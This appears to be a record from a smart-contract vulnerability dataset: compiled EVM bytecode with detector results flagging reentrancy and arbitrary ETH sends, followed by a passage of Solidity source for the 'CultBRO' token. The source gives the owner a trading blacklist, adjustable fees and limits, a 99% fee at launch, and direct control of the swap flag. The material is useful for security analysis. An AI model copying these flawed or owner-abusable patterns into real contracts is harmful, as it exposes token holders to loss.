000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae7060d9fc9cde9d9d89595d0171a3d7bbe3d836f61c49f19db023414947770564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,091
0x2fcbcfd46ec0d6406783e9dd50572c43161ad1a8
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* t.me/cultbro */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CultBRO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "CultBRO"; string private constant _symbol = "CULTBRO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 9; } if (openBlock + 5 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( 